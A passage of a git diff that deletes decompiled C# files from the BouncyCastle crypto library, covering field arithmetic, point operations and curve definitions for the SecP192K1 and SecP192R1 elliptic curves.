Nat192.Create(); - Mod.Invert(SecP192K1Field.P, ((SecP192K1FieldElement)b).x, z); - SecP192K1Field.Multiply(z, x, z); - return new SecP192K1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat192.Create(); - SecP192K1Field.Negate(x, z); - return new SecP192K1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat192.Create(); - SecP192K1Field.Square(x, z); - return new SecP192K1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat192.Create(); - Mod.Invert(SecP192K1Field.P, x, z); - return new SecP192K1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat192.IsZero(y) || Nat192.IsOne(y)) - { - return this; - } - uint[] array = Nat192.Create(); - SecP192K1Field.Square(y, array); - SecP192K1Field.Multiply(array, y, array); - uint[] array2 = Nat192.Create(); - SecP192K1Field.Square(array, array2); - SecP192K1Field.Multiply(array2, y, array2); - uint[] array3 = Nat192.Create(); - SecP192K1Field.SquareN(array2, 3, array3); - SecP192K1Field.Multiply(array3, array2, array3); - uint[] array4 = array3; - SecP192K1Field.SquareN(array3, 2, array4); - SecP192K1Field.Multiply(array4, array, array4); - uint[] array5 = array; - SecP192K1Field.SquareN(array4, 8, array5); - SecP192K1Field.Multiply(array5, array4, array5); - uint[] array6 = array4; - SecP192K1Field.SquareN(array5, 3, array6); - SecP192K1Field.Multiply(array6, array2, array6); - uint[] array7 = Nat192.Create(); - SecP192K1Field.SquareN(array6, 16, array7); - SecP192K1Field.Multiply(array7, array5, array7); - uint[] array8 = array5; - SecP192K1Field.SquareN(array7, 35, array8); - SecP192K1Field.Multiply(array8, array7, array8); - uint[] z = array7; - SecP192K1Field.SquareN(array8, 70, z); - SecP192K1Field.Multiply(z, array8, z); - uint[] array9 = array8; - SecP192K1Field.SquareN(z, 19, array9); - SecP192K1Field.Multiply(array9, array6, array9); - uint[] z2 = array9; - SecP192K1Field.SquareN(z2, 20, z2); - SecP192K1Field.Multiply(z2, array6, z2); - SecP192K1Field.SquareN(z2, 4, z2); - SecP192K1Field.Multiply(z2, array2, z2); - SecP192K1Field.SquareN(z2, 6, z2); - SecP192K1Field.Multiply(z2, array2, z2); - SecP192K1Field.Square(z2, z2); - uint[] array10 = array2; - SecP192K1Field.Square(z2, array10); - if (!Nat192.Eq(y, array10)) - { - return null; - } - return new SecP192K1FieldElement(z2); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP192K1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP192K1FieldElement); - } - - public virtual bool Equals(SecP192K1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat192.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 6); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1Point.cs deleted file mode 100644 index 0b450d3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192K1Point.cs +++ /dev/null @@ -1,218 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP192K1Point : AbstractFpPoint -{ - public SecP192K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP192K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP192K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP192K1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP192K1FieldElement secP192K1FieldElement = (SecP192K1FieldElement)base.RawXCoord; - SecP192K1FieldElement secP192K1FieldElement2 = (SecP192K1FieldElement)base.RawYCoord; - SecP192K1FieldElement secP192K1FieldElement3 = (SecP192K1FieldElement)b.RawXCoord; - SecP192K1FieldElement secP192K1FieldElement4 = (SecP192K1FieldElement)b.RawYCoord; - SecP192K1FieldElement secP192K1FieldElement5 = (SecP192K1FieldElement)base.RawZCoords[0]; - SecP192K1FieldElement secP192K1FieldElement6 = (SecP192K1FieldElement)b.RawZCoords[0]; - uint[] array = Nat192.CreateExt(); - uint[] array2 = Nat192.Create(); - uint[] array3 = Nat192.Create(); - uint[] array4 = Nat192.Create(); - bool isOne = secP192K1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP192K1FieldElement3.x; - array6 = secP192K1FieldElement4.x; - } - else - { - array6 = array3; - SecP192K1Field.Square(secP192K1FieldElement5.x, array6); - array5 = array2; - SecP192K1Field.Multiply(array6, secP192K1FieldElement3.x, array5); - SecP192K1Field.Multiply(array6, secP192K1FieldElement5.x, array6); - SecP192K1Field.Multiply(array6, secP192K1FieldElement4.x, array6); - } - bool isOne2 = secP192K1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP192K1FieldElement.x; - array8 = secP192K1FieldElement2.x; - } - else - { - array8 = array4; - SecP192K1Field.Square(secP192K1FieldElement6.x, array8); - array7 = array; - SecP192K1Field.Multiply(array8, secP192K1FieldElement.x, array7); - SecP192K1Field.Multiply(array8, secP192K1FieldElement6.x, array8); - SecP192K1Field.Multiply(array8, secP192K1FieldElement2.x, array8); - } - uint[] array9 = Nat192.Create(); - SecP192K1Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP192K1Field.Subtract(array8, array6, array10); - if (Nat192.IsZero(array9)) - { - if (Nat192.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP192K1Field.Square(array9, array11); - uint[] array12 = Nat192.Create(); - SecP192K1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP192K1Field.Multiply(array11, array7, array13); - SecP192K1Field.Negate(array12, array12); - Nat192.Mul(array8, array12, array); - uint x = Nat192.AddBothTo(array13, array13, array12); - SecP192K1Field.Reduce32(x, array12); - SecP192K1FieldElement secP192K1FieldElement7 = new SecP192K1FieldElement(array4); - SecP192K1Field.Square(array10, secP192K1FieldElement7.x); - SecP192K1Field.Subtract(secP192K1FieldElement7.x, array12, secP192K1FieldElement7.x); - SecP192K1FieldElement secP192K1FieldElement8 = new SecP192K1FieldElement(array12); - SecP192K1Field.Subtract(array13, secP192K1FieldElement7.x, secP192K1FieldElement8.x); - SecP192K1Field.MultiplyAddToExt(secP192K1FieldElement8.x, array10, array); - SecP192K1Field.Reduce(array, secP192K1FieldElement8.x); - SecP192K1FieldElement secP192K1FieldElement9 = new SecP192K1FieldElement(array9); - if (!isOne) - { - SecP192K1Field.Multiply(secP192K1FieldElement9.x, secP192K1FieldElement5.x, secP192K1FieldElement9.x); - } - if (!isOne2) - { - SecP192K1Field.Multiply(secP192K1FieldElement9.x, secP192K1FieldElement6.x, secP192K1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP192K1FieldElement9 }; - return new SecP192K1Point(curve, secP192K1FieldElement7, secP192K1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP192K1FieldElement secP192K1FieldElement = (SecP192K1FieldElement)base.RawYCoord; - if (secP192K1FieldElement.IsZero) - { - return curve.Infinity; - } - SecP192K1FieldElement secP192K1FieldElement2 = (SecP192K1FieldElement)base.RawXCoord; - SecP192K1FieldElement secP192K1FieldElement3 = (SecP192K1FieldElement)base.RawZCoords[0]; - uint[] array = Nat192.Create(); - SecP192K1Field.Square(secP192K1FieldElement.x, array); - uint[] array2 = Nat192.Create(); - SecP192K1Field.Square(array, array2); - uint[] array3 = Nat192.Create(); - SecP192K1Field.Square(secP192K1FieldElement2.x, array3); - uint x = Nat192.AddBothTo(array3, array3, array3); - SecP192K1Field.Reduce32(x, array3); - uint[] array4 = array; - SecP192K1Field.Multiply(array, secP192K1FieldElement2.x, array4); - x = Nat.ShiftUpBits(6, array4, 2, 0u); - SecP192K1Field.Reduce32(x, array4); - uint[] array5 = Nat192.Create(); - x = Nat.ShiftUpBits(6, array2, 3, 0u, array5); - SecP192K1Field.Reduce32(x, array5); - SecP192K1FieldElement secP192K1FieldElement4 = new SecP192K1FieldElement(array2); - SecP192K1Field.Square(array3, secP192K1FieldElement4.x); - SecP192K1Field.Subtract(secP192K1FieldElement4.x, array4, secP192K1FieldElement4.x); - SecP192K1Field.Subtract(secP192K1FieldElement4.x, array4, secP192K1FieldElement4.x); - SecP192K1FieldElement secP192K1FieldElement5 = new SecP192K1FieldElement(array4); - SecP192K1Field.Subtract(array4, secP192K1FieldElement4.x, secP192K1FieldElement5.x); - SecP192K1Field.Multiply(secP192K1FieldElement5.x, array3, secP192K1FieldElement5.x); - SecP192K1Field.Subtract(secP192K1FieldElement5.x, array5, secP192K1FieldElement5.x); - SecP192K1FieldElement secP192K1FieldElement6 = new SecP192K1FieldElement(array3); - SecP192K1Field.Twice(secP192K1FieldElement.x, secP192K1FieldElement6.x); - if (!secP192K1FieldElement3.IsOne) - { - SecP192K1Field.Multiply(secP192K1FieldElement6.x, secP192K1FieldElement3.x, secP192K1FieldElement6.x); - } - return new SecP192K1Point(curve, secP192K1FieldElement4, secP192K1FieldElement5, new ECFieldElement[1] { secP192K1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP192K1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1Curve.cs deleted file mode 100644 index 9941732..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP192R1Curve : AbstractFpCurve -{ - private class SecP192R1LookupTable : ECLookupTable - { - private readonly SecP192R1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP192R1LookupTable(SecP192R1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat192.Create(); - uint[] array2 = Nat192.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 6; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 6 + j] & num2); - } - num += 12; - } - return m_outer.CreateRawPoint(new SecP192R1FieldElement(array), new SecP192R1FieldElement(array2), withCompression: false); - } - } - - private const int SECP192R1_DEFAULT_COORDS = 2; - - private const int SECP192R1_FE_INTS = 6; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF")); - - protected readonly SecP192R1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP192R1Curve() - : base(q) - { - m_infinity = new SecP192R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFC"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("64210519E59C80E70FA7E9AB72243049FEB8DEECC146B9B1"))); - m_order = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFF99DEF836146BC9B1B4D22831")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP192R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP192R1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP192R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP192R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 6 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat192.Copy(((SecP192R1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 6; - Nat192.Copy(((SecP192R1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 6; - } - return new SecP192R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1Field.cs deleted file mode 100644 index 746cbb0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1Field.cs +++ /dev/null @@ -1,250 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP192R1Field -{ - private const uint P5 = uint.MaxValue; - - private const uint PExt11 = uint.MaxValue; - - internal static readonly uint[] P = new uint[6] { 4294967295u, 4294967295u, 4294967294u, 4294967295u, 4294967295u, 4294967295u }; - - internal static readonly uint[] PExt = new uint[12] - { - 1u, 0u, 2u, 0u, 1u, 0u, 4294967294u, 4294967295u, 4294967293u, 4294967295u, - 4294967295u, 4294967295u - }; - - private static readonly uint[] PExtInv = new uint[9] { 4294967295u, 4294967295u, 4294967293u, 4294967295u, 4294967294u, 4294967295u, 1u, 0u, 2u }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat192.Add(x, y, z) != 0 || (z[5] == uint.MaxValue && Nat192.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if ((Nat.Add(12, xx, yy, zz) != 0 || (zz[11] == uint.MaxValue && Nat.Gte(12, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(12, zz, PExtInv.Length); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(6, x, z) != 0 || (z[5] == uint.MaxValue && Nat192.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat192.FromBigInteger(x); - if (array[5] == uint.MaxValue && Nat192.Gte(array, P)) - { - Nat192.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(6, x, 0u, z); - return; - } - uint c = Nat192.Add(x, P, z); - Nat.ShiftDownBit(6, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat192.CreateExt(); - Nat192.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - if ((Nat192.MulAddTo(x, y, zz) != 0 || (zz[11] == uint.MaxValue && Nat.Gte(12, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(12, zz, PExtInv.Length); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat192.IsZero(x)) - { - Nat192.Zero(z); - } - else - { - Nat192.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - ulong num = xx[6]; - ulong num2 = xx[7]; - ulong num3 = xx[8]; - ulong num4 = xx[9]; - ulong num5 = xx[10]; - ulong num6 = xx[11]; - ulong num7 = num + num5; - ulong num8 = num2 + num6; - ulong num9 = 0uL; - num9 += xx[0] + num7; - uint num10 = (uint)num9; - num9 >>= 32; - num9 += xx[1] + num8; - z[1] = (uint)num9; - num9 >>= 32; - num7 += num3; - num8 += num4; - num9 += xx[2] + num7; - ulong num11 = (uint)num9; - num9 >>= 32; - num9 += xx[3] + num8; - z[3] = (uint)num9; - num9 >>= 32; - num7 -= num; - num8 -= num2; - num9 += xx[4] + num7; - z[4] = (uint)num9; - num9 >>= 32; - num9 += xx[5] + num8; - z[5] = (uint)num9; - num9 >>= 32; - num11 += num9; - num9 += num10; - z[0] = (uint)num9; - num9 >>= 32; - if (num9 != 0) - { - num9 += z[1]; - z[1] = (uint)num9; - num11 += num9 >> 32; - } - z[2] = (uint)num11; - num9 = num11 >> 32; - if ((num9 != 0 && Nat.IncAt(6, z, 3) != 0) || (z[5] == uint.MaxValue && Nat192.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void Reduce32(uint x, uint[] z) - { - ulong num = 0uL; - if (x != 0) - { - num += (ulong)((long)z[0] + (long)x); - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - } - num += (ulong)((long)z[2] + (long)x); - z[2] = (uint)num; - num >>= 32; - } - if ((num != 0 && Nat.IncAt(6, z, 3) != 0) || (z[5] == uint.MaxValue && Nat192.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat192.CreateExt(); - Nat192.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat192.CreateExt(); - Nat192.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat192.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat192.Sub(x, y, z) != 0) - { - SubPInvFrom(z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(12, xx, yy, zz) != 0 && Nat.SubFrom(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.DecAt(12, zz, PExtInv.Length); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(6, x, 0u, z) != 0 || (z[5] == uint.MaxValue && Nat192.Gte(z, P))) - { - AddPInvTo(z); - } - } - - private static void AddPInvTo(uint[] z) - { - long num = (long)z[0] + 1L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - } - num += (long)z[2] + 1L; - z[2] = (uint)num; - num >>= 32; - if (num != 0) - { - Nat.IncAt(6, z, 3); - } - } - - private static void SubPInvFrom(uint[] z) - { - long num = (long)z[0] - 1L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - } - num += (long)z[2] - 1L; - z[2] = (uint)num; - num >>= 32; - if (num != 0) - { - Nat.DecAt(6, z, 3); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1FieldElement.cs deleted file mode 100644 index e061d23..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1FieldElement.cs +++ /dev/null @@ -1,166 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP192R1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP192R1Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat192.IsZero(x); - - public override bool IsOne => Nat192.IsOne(x); - - public override string FieldName => "SecP192R1Field"; - - public override int FieldSize => Q.BitLength; - - public SecP192R1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP192R1FieldElement", "x"); - } - this.x = SecP192R1Field.FromBigInteger(x); - } - - public SecP192R1FieldElement() - { - x = Nat192.Create(); - } - - protected internal SecP192R1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat192.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat192.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat192.Create(); - SecP192R1Field.Add(x, ((SecP192R1FieldElement)b).x, z); - return new SecP192R1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat192.Create(); - SecP192R1Field.AddOne(x, z); - return new SecP192R1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat192.Create(); - SecP192R1Field.Subtract(x, ((SecP192R1FieldElement)b).x, z); - return new SecP192R1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat192.Create(); - SecP192R1Field.Multiply(x, ((SecP192R1FieldElement)b).x, z); - return new SecP192R1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat192.Create(); - Mod.Invert(SecP192R1Field.P, ((SecP192R1FieldElement)b).x, z); - SecP192R1Field.Multiply(z, x, z); - return new SecP192R1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat192.Create(); - SecP192R1Field.Negate(x, z); - return new SecP192R1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat192.Create(); - SecP192R1Field.Square(x, z); - return new SecP192R1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat192.Create(); - Mod.Invert(SecP192R1Field.P, x, z); - return new SecP192R1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat192.IsZero(y) || Nat192.IsOne(y)) - { - return this; - } - uint[] array = Nat192.Create(); - uint[] array2 = Nat192.Create(); - SecP192R1Field.Square(y, array); - SecP192R1Field.Multiply(array, y, array); - SecP192R1Field.SquareN(array, 2, array2); - SecP192R1Field.Multiply(array2, array, array2); - SecP192R1Field.SquareN(array2, 4, array); - SecP192R1Field.Multiply(array, array2, array); - SecP192R1Field.SquareN(array, 8, array2); - SecP192R1Field.Multiply(array2, array, array2); - SecP192R1Field.SquareN(array2, 16, array); - SecP192R1Field.Multiply(array, array2, array); - SecP192R1Field.SquareN(array, 32, array2); - SecP192R1Field.Multiply(array2, array, array2); - SecP192R1Field.SquareN(array2, 64, array); - SecP192R1Field.Multiply(array, array2, array); - SecP192R1Field.SquareN(array, 62, array); - SecP192R1Field.Square(array, array2); - if (!Nat192.Eq(y, array2)) - { - return null; - } - return new SecP192R1FieldElement(array); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP192R1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP192R1FieldElement); - } - - public virtual bool Equals(SecP192R1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat192.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 6); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1Point.cs deleted file mode 100644 index 575760f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP192R1Point.cs +++ /dev/null @@ -1,228 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP192R1Point : AbstractFpPoint -{ - public SecP192R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP192R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP192R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP192R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP192R1FieldElement secP192R1FieldElement = (SecP192R1FieldElement)base.RawXCoord; - SecP192R1FieldElement secP192R1FieldElement2 = (SecP192R1FieldElement)base.RawYCoord; - SecP192R1FieldElement secP192R1FieldElement3 = (SecP192R1FieldElement)b.RawXCoord; - SecP192R1FieldElement secP192R1FieldElement4 = (SecP192R1FieldElement)b.RawYCoord; - SecP192R1FieldElement secP192R1FieldElement5 = (SecP192R1FieldElement)base.RawZCoords[0]; - SecP192R1FieldElement secP192R1FieldElement6 = (SecP192R1FieldElement)b.RawZCoords[0]; - uint[] array = Nat192.CreateExt(); - uint[] array2 = Nat192.Create(); - uint[] array3 = Nat192.Create(); - uint[] array4 = Nat192.Create(); - bool isOne = secP192R1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP192R1FieldElement3.x; - array6 = secP192R1FieldElement4.x; - } - else - { - array6 = array3; - SecP192R1Field.Square(secP192R1FieldElement5.x, array6); - array5 = array2; - SecP192R1Field.Multiply(array6, secP192R1FieldElement3.x, array5); - SecP192R1Field.Multiply(array6, secP192R1FieldElement5.x, array6); - SecP192R1Field.Multiply(array6, secP192R1FieldElement4.x, array6); - } - bool isOne2 = secP192R1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP192R1FieldElement.x; - array8 = secP192R1FieldElement2.x; - } - else - { - array8 = array4; - SecP192R1Field.Square(secP192R1FieldElement6.x, array8); - array7 = array; - SecP192R1Field.Multiply(array8, secP192R1FieldElement.x, array7); - SecP192R1Field.Multiply(array8, secP192R1FieldElement6.x, array8); - SecP192R1Field.Multiply(array8, secP192R1FieldElement2.x, array8); - } - uint[] array9 = Nat192.Create(); - SecP192R1Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP192R1Field.Subtract(array8, array6, array10); - if (Nat192.IsZero(array9)) - { - if (Nat192.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP192R1Field.Square(array9, array11); - uint[] array12 = Nat192.Create(); - SecP192R1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP192R1Field.Multiply(array11, array7, array13); - SecP192R1Field.Negate(array12, array12); - Nat192.Mul(array8, array12, array); - uint x = Nat192.AddBothTo(array13, array13, array12); - SecP192R1Field.Reduce32(x, array12); - SecP192R1FieldElement secP192R1FieldElement7 = new SecP192R1FieldElement(array4); - SecP192R1Field.Square(array10, secP192R1FieldElement7.x); - SecP192R1Field.Subtract(secP192R1FieldElement7.x, array12, secP192R1FieldElement7.x); - SecP192R1FieldElement secP192R1FieldElement8 = new SecP192R1FieldElement(array12); - SecP192R1Field.Subtract(array13, secP192R1FieldElement7.x, secP192R1FieldElement8.x); - SecP192R1Field.MultiplyAddToExt(secP192R1FieldElement8.x, array10, array); - SecP192R1Field.Reduce(array, secP192R1FieldElement8.x); - SecP192R1FieldElement secP192R1FieldElement9 = new SecP192R1FieldElement(array9); - if (!isOne) - { - SecP192R1Field.Multiply(secP192R1FieldElement9.x, secP192R1FieldElement5.x, secP192R1FieldElement9.x); - } - if (!isOne2) - { - SecP192R1Field.Multiply(secP192R1FieldElement9.x, secP192R1FieldElement6.x, secP192R1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP192R1FieldElement9 }; - return new SecP192R1Point(curve, secP192R1FieldElement7, secP192R1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP192R1FieldElement secP192R1FieldElement = (SecP192R1FieldElement)base.RawYCoord; - if (secP192R1FieldElement.IsZero) - { - return curve.Infinity; - } - SecP192R1FieldElement secP192R1FieldElement2 = (SecP192R1FieldElement)base.RawXCoord; - SecP192R1FieldElement secP192R1FieldElement3 = (SecP192R1FieldElement)base.RawZCoords[0]; - uint[] array = 